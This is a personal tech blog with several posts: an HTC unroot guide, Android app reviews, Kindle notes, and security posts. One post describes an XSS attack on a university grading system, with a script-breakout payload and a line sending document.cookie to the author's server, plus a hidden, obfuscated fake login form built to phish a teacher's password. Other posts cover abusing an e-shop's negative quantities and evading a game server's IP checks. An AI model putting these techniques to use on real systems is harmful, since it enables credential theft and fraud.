Po nejake dobe jsem zase musel odstranit root ze sveho HTC Desire Z. Pri te prilezitosti jsem se rozhodl, ze sepisu navod v cestine.

Nenesu odpovednout za jakekoliv poskozeni nebo jakykoliv jiny nezamysleny stav vaseho zarizeni. Tenhle navod pouzivate na vlastni nebezpeci.

Predpokladam, ze jste telefon rootovali, takze uz mate v pocitaci nainstalovany Android-SDK a tim padem i adb.exe (c:\Program Files (x86)\Android\android-sdk\platform-tools\adb.exe). Ujistete se, ze na SD karte nemate soubor, ktery se jmenuje PC10IMG.zip.

Ostatni soubory najdete v tomto archivu: http://dl.dropbox.com/u/16217558/unroot.zip

1) vypnete telefon a pripojte usb kabelem k pocitaci

2) drzte tlacitko pro snizeni hlasitosti + tlacitko pro zapnuti dokud se neobjevi seda obrazovka s ruzne barevnym textem

3) tlacitka uz muzete pustit a chvili pockejte - na obrazovce projede zeleny text a po chvilce zmizi. Kdyz pockate tak minutu, tak se nic nezkazi

4) rozbalte unroot.zip do c:\unroot

5) spuste prikazovou radku ve windows

6) do okna prikazove radky napiste:

c:\

cd \unroot

7) overime, zda je telefon pripojen - napiste do prikazove radky:

fastboot-windows.exe devices

Vystup by mel vypadat cca takto:

c:\unroot>fastboot-windows.exe devices
HT0AGRT02921    fastboot

8) prepneme telefon do RUU

fastboot-windows.exe oem rebootRUU

9) flashneme oficialni ROM (ROM v archivu je upravena, aby mela po zapnuti aktivni USB Debugging). Pokud chcete flashnout neupravenou oficialni rom, pouzijte tuto: http://ratherphallic.co.cc/UNMODDED/Vision_DZ_1.34.405.5_PC10IMG.zip Nezapomente pak ale po bootovani zapnout USB Debugging v Nastaveni/Aplikace/Vyvoj

fastboot-windows.exe flash zip PC10IMG.zip

Muze se stat, ze se flash na poprve nepovede. Prikaz spustte jeste jednou. Pokud probehne vse v poradku, uvidite cca takovy vystup:

...

INFO[RUU]WP,radio,44
INFO[RUU]WP,radio,100
INFOstart image[rcdata] unzipping & flushing...
INFO[RUU]UZ,rcdata,0
INFO[RUU]WP,rcdata,0
INFO[RUU]WP,rcdata,100
OKAY

10) telefon restartujeme prikazem:

fastboot-windows.exe reboot

11) ziskame temp-root:

adb push psneuter /data/local/tmp

adb push gfree /data/local/tmp

adb shell

cd /data/local/tmp

chmod 755 *

./psneuter

Toto odstreli adb.

12) zjistime CID. Druhy radek opisujte dukladne a radeji si to prekontrolujte :-)

adb shell

dd if=/dev/block/mmcblk0p17 bs=1 count=8 2>/dev/null; echo

Vypise se CID. U me vystup vypadal takto:

# dd if=/dev/block/mmcblk0p17 bs=1 count=8 2>/dev/null; echo
dd if=/dev/block/mmcblk0p17 bs=1 count=8 2>/dev/null; echo
HTC__032

Dulezite je "HTC__032"

13) obnovime S-ON a CID

/data/local/tmp/gfree -s on -c PUVODNI_CID

v mem pripade tedy prikaz vypadal takto:

/data/local/tmp/gfree -s on -c HTC__032

Permalink | Leave a comment  »

Stalo se už tradicí, že když se mám učit, hledám místo toho bezpečnostní díry nejrůznějších aplikací. Tento blogpost popisuje cestu k známce A na ČVUT FEL :-)

Vše začalo, když jsem se připravoval na zkoušku z pokročilé algoritmizace. Napadlo me, že když úlohy nahráváme do upload systém a posléze si můžeme zobrazit jejich zdrojový kód, tak zda není upload systém náchylný na cross site scripting. A taky že byl, jen ne na úplně první pohled.

Upload systém slouží k automatickému ohodnocení úloh. Používal jsem tento systém jen v předmetu Pokročilá algoritmizace, takže nevím jaké má další možnosti. V tomto předmetu se odevzdavaly úlohy v jazyce C++ a Java. Soubory projektu se zabalily do zip archivu a odeslaly na server. Ten archiv rozbalil, zkompiloval a spustil s ruznými vstupy. Nakonec porovnal výstup programu s referenčním rešením a přidelil příslušné body. Student v systému vidí průbeh kompilace, výsledek jednotlivých testů a, co je podstatné, může se také podívat na zdrojový kód odevzdané úlohy. Odevzdaná úloha se highlightuje podle typu souboru – tzn kód souboru cpp se obarví jako C++ a kód souborů s připonou java se obarví podle syntaxe Javy. Tato funkcionalita je přístupná i učitelům. Typický scénář vypadá tak, že student napíše vyučujícímu, že mu neco nefunguje a vyučující se podívá na výsledky testů, popř. na zdrojový kód a studentovi se pokusí poradit.

Cíl je tedy jasný – injektovat javascriptový kód do stránky zobrazující zdrojový kód odevzdané úlohy a donutit nějak vyučujícího, ať se na zdrojový kód v systému podívá. Javascriptový kód se spoustí v jeho prohlížeči a zpřístupní se tak cookies, kde je uložena session, kterou chceme ukrást. S pomocí ukradené session bychom mohli vystupovat pod identitou učitele. Má to však jeden háček, ba přímo hák, o kterém se zmíním později.

Můj první pokus byl trapně jednoduše vložit do svého programu html tag <i> a zkusit si vypsat část kódu kurzívou. Tento způsob se nechyt, na stránce se html tag normálně vypsal.

Napadlo me tedy odevzdat svou ulohu jako soubor html. A vida! Html tag se neoescapoval. Stránka je tedy 100 % zranitelná. Ted šlo jen o to zjistit, proč se v souborech .cpp escapuje.

Podíval jsem se do zdrojového kódu stránky zobrazující highlightovaný kód C++. Samotný C++ kód se nacházel uprostřed tagu script a v sekci CDATA. Aby byl <i> tag brán jako součást html kódu, je třeba ukončit sekci CDATA a script. Celý zdrojový kód byl ještě v DIVu s id „content“, který jsem tedy taky ukončil. Následně jsem CDATA a script zase otevřel, abychom stránku nenarušili.

]]></script><i>Ahoj</i></div><script><![CDATA[

Svůj odevzdávaný soubor jsem uploadoval a Ahoj se podle očekávání vypsalo kurzívou. Nelíbila se mi ještě jedna věc. Takto odevzdaná úloha neprošla kompilátorem C++. Přidal jsem tedy svůj škodlivý html kód do C++ komentáře:

/*// Konec souboru /*

]]></script><i>Ahoj</i></div><script><![CDATA[

// */

Všimněte si dvou otevírajících znaků pro víceřádkový komentář. Je to z toho důvodu, že na stránce s kódem domácí úlohy se vždy zobrazoval otevírací znak komentáře. Aby to nevzbuzovalo podezření, kde je konec, spolehl jsem se na to, že /* a */ jsou podobné a když si posledního rádku vyučující všimne, bude brát druhý /* jako ukončovací znak pro komentář. Ve skutečnosti se ale ukončení komentáře nachází až za javascriptovým kódem.

Nyní je čas nahradit neškodnou kurzívu javascriptem, který krade session.

Cookies v javascriptu přečteme z document.cookie. Odeslání cookies z prohlížeče oběti jsem použil trik s new Image(). Na stránku se pokusíme javascriptem načíst obrázek z url, které jako parametr dáme informace, které chceme odeslat.

new Image().src="http://ww.nuc.cz/steal_cookies.php?domain="+base64encode(document.domain)+"&won="+base64encode(document.cookie);

Cookies i doménu jsem zakódoval pomocí base64, aby se daly předat jako parametr php skriptu, který je ukládal do souboru.

A právě ted narážíme na onen zásadní problém. Za prvé takto přečteme pouze cookies, která nemají příznak HTMLOnly. A za druhé session je ve všech trochu schopnějších sereverech vázána také na IP adresu, z které se uživatel přihlásil. Takže bychom museli vystupovat pod stejnou veřejnou IP jako vyučující. Na ČVUT FEL jsou adresy veřejné, takže tudy cesta rozhodne nevedla.

Dostáváme se tak k titulku článku – proč krást session, když můžeme krást celá hesla. Napadlo mě totiž, že bych mohl zobrazit místo očekávané stránky se zdrojovým kódem falešný přihlašovací formulář. Vyučující by ho nevědomky vyplnil a jeho přihlašovací údaje by se odeslaly na můj server.

Aby nebyl formulář tak snadno zjistitelný, ukládal jsem si vlastní cookie s informací o průběhu předchozích otevření. Pokud cookie neexistovala, znamenalo to, že oběť se na stránku dostala poprvé. Pokud byla v cookie uložena hodnota 1, znamenalo to, že oběť na stránce už byla, ale nepřihlásila se. To by mohlo znamenat podezření uživatele, takže jsem v takovém případě falešný formulář zobrazoval jen v cca 20 % případů, aby systém budil zdání, že je něco špatně, ale není to mým kódem, protože ten se občas zobrazí správně. A nakonec pokud byla hodnota mé cookie 2, znamenalo to, že vyučující naletěl a přes falešný formulář se přihlásil. V takovém případě jsem zobrazil vždy zdrojový kód domácí úlohy.

Samotný falešný formulář jsem lehce pozměnil, aby obsahoval hlášku o neočekávané chybě a přidal do svého zdrojového kódu. CSS ostylování jsem zajistil pomocí html atributu style=“...“, takže nebyl závislý na CSS souboru, který samozřejmě stránka zobrazující úlohu nenačítá. Po přihlášení přesměroval na stránku, kam se uživatel standardně po přihlášení dostane jakoby se nic nedělo.

Úplně nakonec jsem použil obfuskátor, aby nebylo hned zřejmé, co kód dělá, a ještě jsem ho odenteroval 2000 řádek dolů a několik desítek mezer doprava, aby nebyl v html kódu hned k nalezení.

Pak jsem vše předvedl cvičícímu, dostal pochvalu a nechal administrátory chybu opravit. Nemohu ale říct, že by byl problém 100 % odstraněn. Kdo ví, třeba se mi to bude jednou hodit :-)

Permalink | Leave a comment  »

Recently I've installed Backtrack on my USB drive according to the great tutorial on Infosec Ramblinks. I have done this for thousand times before but this time something went bad. After few uses of my USB I suddenly couldnt boot my flashdrive with this message:

Alert! /dev/mapper/vg-root does not exsist. Dropping to a shell.

I couldn't google much except seeing people's comments on Infosec Ramblinks. Basically everybody suggested to run live cd, chroot, install lvm2 and hashalot once again. I tried but it didnt help at all. So I took a deeper look where the problem is.

The error message says that I fails to find vg-root which is your partition after decryption. Decryption is done by cryptsetup. If you browse the initramfs a bit you will find out that there isn't any. Thats the reason why the decryption fails.

So I booted live cd, chrooted etc and installed cryptsetup separately.

apt-get install cryptsetup

Its pretty much possible that it got lost during some system update or whatever. Dunno. However after installation it updates your initramfs automatically so you dont have to do it manually. Just reboot and tell me if it helped you.

Step-by-step

1) follow Troubleshooting part of original tutorial
2) When you are done, install cryptsetup:

apt-get install cryptsetup

3) reboot and boot your USB

You dont need to change your password or create new. It will just add application which used for decrpytion of your device and its somehow missing in the system.

Permalink | Leave a comment  »

Asi tak pred pul rokem jsem si stezoval na absenci poradneho dialeru pro Android (http://www.nuc.cz/dialer-pro-android-misto-htc-sense-dialeru). Presel jsem na CyanogenMod a chybel mi dialer typu co ma ve svych telefonech HTC. Konecne jsem ho ale nasel! Je to myDialer. Na marketu jsou k dispozici dve verze. Jedna free a druha placena (7 dni funguje jako trial).

V horni casti ukazuje posledni volani (zmeskane i volane) a kus pod nimi jsou normalne kontakty jeden po druhem. Stiskem tlacitek ciselniku se filtruji jmena. Zkratka presne co jsem hledal.

Free verze nabizi pouze zakladni nastaveni. Placena verze umoznuje nastavovat dopodrobna fungovani aplikace a vytvorit si vlastni uzivatelsky vzhled, kde si muzete nastavit snad kazdou barvu, kterou chcete.

See the full gallery on Posterous

myDialer se mi z testovanych libil nejvic svou jednostrannosti. Zadny seznam kontaktu s buhvi cim zabirajici misto na obrazovce... proste jen dialer. Vytykal jsem mu, ze neumi diakritiku a nerusi zmeskana volani. Ohledne diakritiky jsem kontaktoval vyvojare a spolecne jsme ji pro cesky jazyk pridali. Zmeskana volani myDialer uz rusi. Nejsem si jist, zda sam od sebe nebo diky aplikaci NotiGo, kterou mam primo v ROM.

Kdyz uz jsem byl v kontaktu s vyvojarem, tak jsem vytvoril cesky preklad, takze aplikace je plne lokalizovana do cestiny.

Jako bonus ma myDialer moc pekny theme, ktery se hodi i k ICS.

Odkazy na Market:

_____________________________________

Permalink | Leave a comment  »

Asi tak pul roku zpatky jsem misto uceni se na statnice zkoumal zabezpeceni nejruznejsich webovych aplikaci (internetove souteze, eshopy atd.). Ukazu jeden priklad za vsechny...

Dal do googlu klicove slovo eshop a zkusil si pridat do kosiku zaporne mnozstvi zbozi. Je neuveritelne u kolika eshopu se Vam zobrazi zaporna cena. Rikal jsem si, ze je to dobra recese a objednavku jsem odeslal...

Prisel mi zpatky email, ze v systemu se objevila nejaka chyba a nevedi o jake zbozi mam presne zajem. Vysvetlil jsem jim tedy v cem problem spociva a at chybu opravi. Yamaha YDP 141C mi pry za 110 Kc nenechaji. Skoda.

... o pul roku pozdeji

Dnes se mam ucit na zkousku a tak me zase napadlo, ze bych se na onen eshop podival. Nasel jsem si jejich adresu v emailech, pridal zaporne zbozi do kosiku a slava! Misto zaporneho mnozstvi se pridala kladna hodnota.

A ted bonusova otazka na zaver: Co je na obrazku spatne?

Mam zkusit objednavku zase odeslat? :-)

Permalink | Leave a comment  »

Sice vetsinou pisu bez diakritiky, ale kdyz jsem se o tomto problemu dozvedel, tak jsem jen tak ze zvedavosti zabrousil do nastaveni a vsiml si hned na zalozce Obecne volby vnuceni UTF-8. Zkusil jsem si poslat email s diakritikou a vse se zobrazilo spravne. Nutno rict, ze jeste nepouzivam novy vzhled.

S timto nastavenim budete odesilat zpravy v UTF-8 a prijemce nebude mit problem je precist.

Google ted imlicitne posila zpravy s kodovanim pro Stredoevropske jazyky ISO-8859-2. Problem je, ze zbytek stranky je zobrazovan v UTF-8, takze cast s textem v ISO-8859-2 se zobrazuje zkomolena. Pokud budete maily striktne odesilat v UTF-8 (viz nastaveni vyse), tak nebude mit protistrana problem.

Permalink | Leave a comment  »

Since I dont play L2 anymore I am going to share my script/plugin for farming POVs. Sorry about czech chat messages in script :-) I will not translate it. Maybe some volunteer?

For people not familiar with L2Sublimity: POV is needed for dynasty sets. Its being obtained through pvp. There is ip check if you dont kill your box. Pov can be obtained only every 7 minutes (it was 15 in the past).

This script controls your party to kill each member one by one and return from the town. When character kills whole party it waits on others to come from town and then another character starts to kill whole party. They equip weapon (FB focus) and armor (TPA). Remember that those party members are not allowed to be in same clan.

It is designed to Orc Village however you can just change last 3 lines of flag.lua to use another coordinates or even port through GK.

Script works flawlessly but sometimes something goes wrong and characters dont attack each other. I couldnt figure out what because I run it over night :-)

Files

povfarm.lua
aMaster.lua
flag.lua
killparty.lua

How to get unique ip for your box? - YOU DONT NEED THIS IF YOU HAVE FRIENDS
--- you need SSH server with GatewayPorts yes in its configuration for each client

1. buy proxifier 3.0
2. download putty
3. run Total commander as Administrator (right click->run as administrator)
4. setup dynamic tunnel in putty (use some tutorial, there are plenty)
5. switch to proxifier and set proxy server for each dynamic tunnel
6. from Total commander rightclick on L2.exe and choose Proxifier -> localhost:<port> from context menu

This way L2.exe will be run through your SSH proxy tunnel and will be treated under unique IP by the Sublimity server.

However you dont need to do this. Its just enough to get your friends with L2Tower to join your farming party.

How to run this script?

1. Copy povfarm.lua to L2tower/plugins
2. Copy aMaster.lua, killparty.lua and flag.lua to L2Tower/scripts
3. Run L2 and:
4. buy for every character forgotten blade focus + tallum heavy armor
5. unequip armors and weapons
6. move every character to orc village outside the peace zone
7. invite them all in party
8. set L2Tower to revive your character to the town after 5 seconds in Resurrection section and unpause Tower
9. on one character from the party run aMaster.lua from L2tower scripts menu and others will automaticly join

Dont change names of scripts otherwise edit scripts accordingly.
If you decide to do this with your friends they need just L2tower with these scripts, TPA and FB Focus etc ... only one person runs aMaster.lua

Permalink | Leave a comment  »

Neni tomu tak davno, co jsem se rozmyslel, zda koupit ctecku knih nebo rovnou tablet (http://www.nuc.cz/chci-si-koupit-neco-na-cteni-knih). Rozhodl jsem se nakonec pro obycejnou ctecku a sice pro novy model Kindle (4). Rozhodnuti ovlivnila cena, dostupnost a take fakt, ze tablet bych stejnak pouzival akorat ke cteni. Na jine vyuziti tabletu jsem zatim neprisel.

Nikdy jsem tablet ani ctecku knih nemel, takze jsem v tomto oboru takovy novacek :-)

Objednani a doprava

Kindle jsem koupil rovnou u Amazonu, protoze Alza ho jeste nemela skladem a navic s timto obchodem nemam dobre zkusenosti. K dispozici je verze za $109 nebo za $79. Levnejsi ma reklamy ve vypnutem stavu a lze objednat pouze na americkou adresu. Alza nabizi prave tuto levnejsi verzi s reklamama, ale za cenu jako je na amazonu bez reklam. Za sebe mohu rict, ze by mi reklamy patrne vubec nevadily. Misto reklam se mi na vypnutem displeji stridaji ruzne obrazky.

Objednal jsem si tedy variantu za $109. Ackoliv ve stredu rano byl jeste skladem, tak odpoledne, kdyz padlo moje rozhodnuti uz skladem nebyl a Estimated arrival ukazoval ctvrtek pristi tyden. Ke Kindlu jsem si jeste vybral pouzdro. Pouzdra jsou na muj vkus celkem draha ($30-$60). Vybral jsem si nejaky za $35, ackoliv se mi z obrazku libilo oficialni pouzdro od Amazonu. Tady bych rad zduraznil, ze nakupovat v eshopu pouzdro podle miniatur je hovadina a celkem me rozcilovalo, ze nemam moznost si ho vyzkouset. Napadlo me najit na youtube neco typu "Kindle 4 leather cover", ale vysledky hledani jsou jen samy Kindle 3. Takze jsem nemel vubec tuseni, jakym zpusobem je zarizeni v krytu uchyceno, zda tam dobre sedi, jak se s tim pracuje apod.

V nedeli mi prisel email, v kterem se psalo, ze maji problemy s mou kreditni kartou. Hned jsem se sel podivat, kde je problem, a zjistil jsem, ze na uctu, z ktereho jsem platil, nemam dostatek financi. To byla moje blbost. Navic amazon ukazoval cenu $203, coz mi bylo divne, kdyz $109+$35=$144. Duvod byl ten, ze strhli penize za samotny Kindle, ten odeslali a pouzdro chteli zaslat v samostatne objednavce po uskutecneni platby. To sebou ale neslo zauctovani dalsiho poplatku za dopravu. Objednavku pouzdra jsem tedy nakonec zrusil.

Kindle stoji $109
pouzdro stalo $35
celkova cena s pouzdrem byla $203
cena bez pouzdra byla $145
doprava samotneho Kindlu vychazi na $13

Cena bez  dane je v mem pripade $109 + $13 = $122. Po zdaneni vychazi cena $145, takze dan je 19%. Ted cena s pouzdrem: $109 + $35 = $144 ... plus doprava (pocitam, ze by byla stejna jako samotneho Kindlu, coz by nejspis byla, kdybych si ohlidal penize na ucte z ktereho jsem platil) - $144 + $13 = $157 ... plus dan 19% ... = $186 a prave tam mi nebylo jasne, proc chce amazon $203. Aby celkova cena vychazela $203, musela by doprava stat o dalsich $13 vic. Z tohoto jsem usoudil, ze posilaji Kindle oddelene od pouzdra a jeho objednavku jsem zrusil. Cili clo jsem neplatil a nekde jsem cetl, ze se plati prave pri cene nad $200 - to ale nemam overeno.

V pondeli mi prisel tedy email, ze objednavka byla definitivne odeslana. Na amazonu je skvele, ze ji muzete online sledovat. Na jejich webu je videt, kde se presne nechazi. Co uz tak skvele neni, ze mi od te doby chodily od Amazonu prumerne 2 emaily denne s nejruznejsimi nabidkami, coz jsem posleze zrusil nekde v nastaveni na webu. Kindle mel prijit ve ctvrtek a o to vetsi bylo moje prekvapeni, kdyz prisel uz ve stredu. Opravdu z Ameriky do Prahy to trva dva dny. To je naprosto neuveritelne! Srovnani s Ceskou postou probleskne hlavou asi kazdemu... :-)

Kindle 4

Samotne zarizeni na prvni pohled prekvapi tim, jak je male. Kindle Keyboard (=Kindle 3) jsem videl nekolikrat v metru, ale 4ka pusobi opravdu kompaktnim dojmem, ackoliv displej je totozny (6'). Nastaveni probehne behem chvilky. Zde neni o cem psat, prejdu rovnou k mym poznatkum

- Chybi ceske rozhrani, coz mi ale nevadi.

- V baleni chybi sitovy adapter a ctecka se nabiji USB kabelem z pocitace. Nastesti se jedna o microUSB a je mozne pouzit nabijecku od mobilu. Kindle ma na zadnim krytu 5.25V, Max 500 mA. Mobilni nabijecka ma 5V a 1A

- V zarizeni jsou prednahrany nejruznejsi slovniky, z kterych jsem vetsinu smazal a nechal pouze vykladovy anglictiny a "americtiny".

- vypinaci tlacitko je na spodni strane. Uvital bych ho pristupnejsi

- tlacitko Zpet je na predni strane uplne vlevo. Drzim Kindle zpravidla pravou rukou a tlacitko zpet je to nejcastejsi, ktere clovek macka. Uvital bych ho naopak uplne vpravo misto tlacitka Home.

- psani na klavesnici je svizne. Vubec mi nevadi. Fakt je, ze poznamky si do knizek nedelam, coz jsem vedel uz pri vyberu.

- tlacitka pro prepinani stranek by mohla byt sirsi (jako u Kindle Keyboard) nebo uplne jinde. Neni mi uplne jasne, jak Kindle ovladat pohodlne jednou rukou. Jde to, ale neni to pohodlne, jak bych si predstavoval.

Tak to byly zapory. Vic jsem toho opravdu nenasel. Zarizeni mi celkove velmi vyhovuje. Na displeji se cte skvele. Zatim vsem co jsem to ukazal se novy Kindle libil. Kupodivu se daji cist i nezformatovana A4 PDF, coz me prijemne prekvapilo. Chce to ale dobry zrak a nastavit v menu zvyrazneni pisma.

- nastaveni ma 3 strany!! Zprvu jsem si toho nevsiml:-) Mezi stranama se posunuje jako v knize - tedy tlacitky pro prepnuti stran.

- cesky slovnik se da stahnout jako soubor, ktery se pres USB nahraje do Kindlu. Pouzivam nejaky, ktery ma asi 25 MB a podobny najdete zde: http://forum.amazon-kindle.cz. V nastaveni se pak musi vybrat jako vychozi.

Absence obalu mi nijak nevadi, protoze jsem s radosti zjistil, ze moje bunda ma tzv "Kindle-kapsu". Jakoby byla sita ve spolupraci s Amazonem.

Krom cteni klasickych knih .mobi / pdf velice, ale opravdu velice casto pouzivam moznost zaslat si cokoliv na email od amazonu primo do Kindlu. V praxi to funguje tak, ze Vam amazon prideli emailovou adresu a v nastaveni si povolite emailove adresy, z kterych budou zpravy akceptovany. To je opatreni, aby Vam nemohl kdokoliv poslat milion emailu do Kindlu.

Cokoliv pak poslete na tento email se pri pripojeni Kindlu k wifi automaticky nahraje. V tomto smeru funguje vyborne sluzba http://www.klip.me/. Do Google Chrome ma pluigin a do ostatnich prohlizecu javascriptovy odkaz, ktery Vam stranku automaticky zpracuje a posle na email (viz dole na http://www.klip.me/sendtokindle/). Vyhodou je, ze oreze ruzne odkazy a reklamy, takze do Kindlu pak prijde opravdu ten clanek. Stane se, ze si se strankou nevi rady a v tu chvili muzete mysi vybrat relevantni text, ktery se pak zpracuje a odesle. Naprosto perfektni v kombinaci s Twitterem - jen rozkliknu zajmavy odkaz, dam Send to Kindle a dal neresim.

Pro Android existuje velmi podobna aplikace Send to Kindle, ktera umoznuje to same pres funkci Sdilet v systemu Android.

Chtel jsem jeste popsat nakup knih na amazonu, ale to necham do samostatneho clanku, protoze toto je uz tak delsi nez jsem puvodne zamyslel. Takze o tom priste.

Permalink | Leave a comment  »

Ve škole a v práci se věčně setkávám s nějakými úkoly, které musí být do určitého data splněny. Do kalendáře se mi ale nehodí, protože nevím, kdy je budu přesně plnit. Úkolníček v Googlu mám plný jiných věcí, takže jsem si říkal, že musí existovat aplikace, která poskytuje přehled úkolů s jejich deadliny. Hledal jsem hledal a jednu, která by mi vyhovovala, dokonce našel. Problém byl, že zobrazovala datum pouze v americkém formátu (tedy MM-DD-YYY). Rozhodl jsem se tedy napsat aplikaci vlastní. Nyní je vše snad dotažené a vychytány mušky, takže nabízím všem ke stažení.

Pokud by něco nefungovalo, dejte prosím vědet. Nejlépe sem do komentářů.

Features
- zobrazuje seznam úkolů
- řadí podle termínu dokončení
- u úkolů je odpočítávač dnů pro přehled, kolik času na něj máte

See the full gallery on Posterous

Pokud se Vám aplikace líbí, prosím ohodnoťte ji v Android Marketu. Děkuji.

Odkaz: https://market.android.com/details?id=cz.nuc.deadline

Permalink | Leave a comment  »

Jak jsem psal v Proč je HTC Desire Z pro mne nejlepším smartphonem, rozhodl jsem se koupit si lepsi baterii do sveho HTC Desire Z. Rozhodne jsem nechtel, aby telefon rozmerove narostl, takze jsem automaticky zavrhl baterie se specialnim zadnim krytem. Po precteni kladnych zkusenosti majitelu Mugen 1800 mAh jsem si ji u Sunnysoftu objednal. Vysla me na 1100,- Kc a cekal jsem na ni necelych 14 dni. Nastesti jsem nespechal.

Postupoval jsem podle sturcneho navodu na krabici. Tedy 3x nabit a 3x uplne vybit, ackoliv pokud je mi znamo u Li-ion baterii to neni treba (viz thread na xda-developers). Telefon jsem tu a tam potreboval, takze jsem stridal Mugen se starou originalni baterii. Kdyz jsem prisel domu, v inicializacnim nabijecim cyklu jsem pokracoval.

Po skonceni peripetii s prvotnim nabijenim jsem zacal Mugen aktivne pouzivat. Musim rict, ze cca prvnich 14 dni jsem mel pocit, ze mam spatny kus a ze telefon vydrzi dokonce mene nez s originalni baterii HTC. Vydrz baterie jsem pouze odhadoval, takze se mozna jednalo jen o falesny pocit zalozeny na nerealnych ocekavanich. Chtel jsem baterii uz vratit, ale situace se zacala zlepsovat a baterii jsem si tedy nechal.

Dnes jsem naprosto spokojeny, protoze telefon mi vydrzi skutecne cely den (tzn od rana 7:00 do vecera napr 23:00). Baterie je o neco malo tlustsi a tezsi nez originalni, ale do telefonu se bez problemu vejde.

Takova neprima vyhoda je fakt, ze mi zbyla starsi originalni baterie, kterou nosim v penezence. Je tenka a temer mi neprekazi. Doposud jsem ji vyuzil jen jednou pri loveni cachek, kdy jsme 5 hodin behali v noci po parku se rozsvicenou LEDkou a aktivnim c:geo. Nakonec nam vsem dosla stava a ja pouze vymenil baterii a mel znovu 100%. Tenkrat jsem opravdu poznal, jak procenta na originalni baterii mizi vyrazne rychleji nez u Mugen.

Baterii tedy 100% doporucuji vsem uzivatelum. Vydrz telefonu se vyrazne zlepsi a vsichni vime, ze prave ta je u smartphonu Achillovou patou.

Permalink | Leave a comment  »

Tenhle semestr mame ke cteni dost literatury. Z knihovny mam pujcene dve knihy, kazda o cca 1400 stranach. Umite si predstavit, jaka je to bichle a to se mi do baglu vedle notebooku a obcas i fotaku proste nevejde. Vzhledem k tomu, ze nemam potrebu se dival na filmy z gauce, hledam neco vylozene na cteni knih a idealne take prohlizeni internetu. Staci mi pripojeni pres wifi. To je tedy motivace.

Nyni analyza. V uvahu prichazi bud klasicky tablet nebo Amazon Kindle. V pripade tabletu je jeste otazka, zda iPad od Applu nebo neco s Androidem. Nasleduji me poznatky, ktere jsem po internetu nasbiral:

Amazon Kindle 3
- nepohodlna klavesnice, ale aspon nejaka. Poznamky si do knih ale casto nedelam.
- adapter k baleni

Amazon Kindle 4
- nejlevnejsi volba
- maly a lehky
- u 3G verze nefunguje neomezeny internet, ale pouze pro Amazon Store a Wikipedii
- oproti Kindle 3 se mi nelibi provedeni tlacitek pro otaceni stranek
- nema klavesnici
- nema adapter na nabijeni - je treba PC
- nakonec jsem objednanal tohle, kdyby mi to nevyhovovalo, zdedi to mama :-)

Apple iPad
- naprosto plynule ovladani
- barevny displej
- drazsi
- jednoduche - tzn nemusi poskytovat takovou funkcnost
- nestastne napojeni na iTunes, kteremu se chci za kazdou cenu vyhnout

Samsung Galaxy Tab 10.1
- Android - tzn mam pro to zakoupene aplikace + gmail a sluzby Googlu, ktere vyuzivam
- barevny displej
- drazsi

Proc nakonec Kindle 4? 

Presvedcilo me toto video Amazon Kindle 4 (2011): Unboxing and Review. Libila se mi odezva, absence klavesnice jsem se nakonec uz nebal. Na internet mam nakonec smartphone. Jedine z ceho mam strach jsou rozmery displeje, protoze ctu technickou literaturu a nepreformatovane PDF je na 6' displeji spatne citelny. V takovem pripade by mi nezbyvalo nic jineho nez Kindle DX, ktery je ale uz drazsi (7500,-). Objednal jsem si tedy Kindle 4 primo z amazon.com jeste s pouzdrem. Mel by dorazit pristi tyden.

Permalink | Leave a comment  »

Dnes asi nemam den. Hned po ranu 3 klacky pod nohy.

1) jdu na zastavku o 4 minuty drive a ten autobus zrovna odjizdi. Pochopim minutu, pochopim zpozdeni, ale jet o 4 minuty driv?? Co musi udelat ridic formule, aby nahnal 4 minuty? To snad ani neni mozny. Bud je tenhle ridic neskutecne dobry a mel ridit F1 nebo jsou ti ostatni tragicky spatni!

2) Inu otrepal jsem se a sel na jinou zastavku. Uprostred cesty jsem narazil na jakysi uklizeci vuz, ktery ji blokoval. Pockal jsem, az pan dosaje do konce chodinku a po strane ho obesel. Taky me mohl na chvili prestat a pustit rovnou.

3) Pro jistotu jsem presel na druhou stranu silnice, cimz jsem si pekne nabeh. Po chvili jsem totiz dorazil k jakemusi jerabu, ktery mel zakladnu opet pres cely chodnik. Tohle se uz nedalo ani obebjit. Rozhledl jsem se zpatky po nejake ceduli "prejdete na druhy chodnik". Samozrejme tam nebyla. Prolezl jsem zkrz stromy a prosel skarpou.

4) zacpa na strakonicky. Dneska ve skole rozhodne vcas nebudu.

Permalink | Leave a comment  »

Aktualizace 14. října 2011 - doplneno info o DW Dialer a Go Dialer Ex

Presel jsem na CyanogenMod a hledam poradny dialer.

Pozadavky:
- ciselnik a vyhledavani v kontaktech podle stisknutych klaves
- zobrazeni nejen jmena, ale i cisla u kontaktu
- vytaceni kliknutim na kontakt
- podpora pro fotografie kontaktu
- na zacatku seznamu posledni volani (vcetne neprijatych)
- pri otevreni dialeru zruseni upozorneni o neprijatych hovorech
- moznost vypnuti zvykove odezvy ciselniku
- podpora diakritiky v kontaktech
- moznost pridani cisla do kontaktu po skonceni hovoru

Dialer One
- nezobrazuje cisla u kontaktu (v registru zmeskanych volani ano, ale v seznamu kontaktu nikoliv)

myDialer lite
- nerusi upozorneni na neprijate hovory
- neumi diakritiku

Go Dialer Ex

- neumi diakritiku
- je desne roztahlej - po spusteni vidim 3 kontakty, v ostatnich dialerech 4

DW Dialer

- dekuji tukx za tip, ale vadi mi na nem par veci
- cas od casu se mi stane, ze dialer otevru a neni vysunuta klavesnice - musim kliknout do pole, kam se pise cislo
- cas od casu se stava, ze v dialeru neco hledam, pak ho zavru, jdu treba browsdat a kdyz ho pak otevru je tam to co jsem hledal - musim umazat cisla, ktera jsem predtim naklikal
- neprisel jsem, jak vytocit kontakt jednim tuknutim. Schoval jsem si tlacitka telefonu, protoze chci klikat rovnou na kontakty

Nejaka doporuceni?

Shrnuti

Pouzivam myDialer lite v kombinaci se standardnim registrem zmeskanych hovoru v Androidu. Nevyhoda je, ze zmeskana volani musim rozklikavat vzdycky v liste, aby se otevrel registr zmeskanych hovoru Androidu.

Permalink | Leave a comment  »

Pokusím se v bodech popsat, proč bych svůj nynější telefon za nic neměnil. Na konci článku jsou zmíněny naopak problémy s telefonem. Mé poznatky jsou po takřka 3/4 roce užívání. Telefon jsem zakoupil 3. listopadu 2010 v oficiální prodejně HTC jakožto druhý prodaný kus. Tenkrát telefon nebyl vůbec nikde k sehnání a v rámci Evropy se objevil poprvé v oficiální prodejně v České republice. Měl jsem ho v hledáčku již dlouhou dobu a vědel jsem, že toto je přístroj pro mě.

• Klávesnice

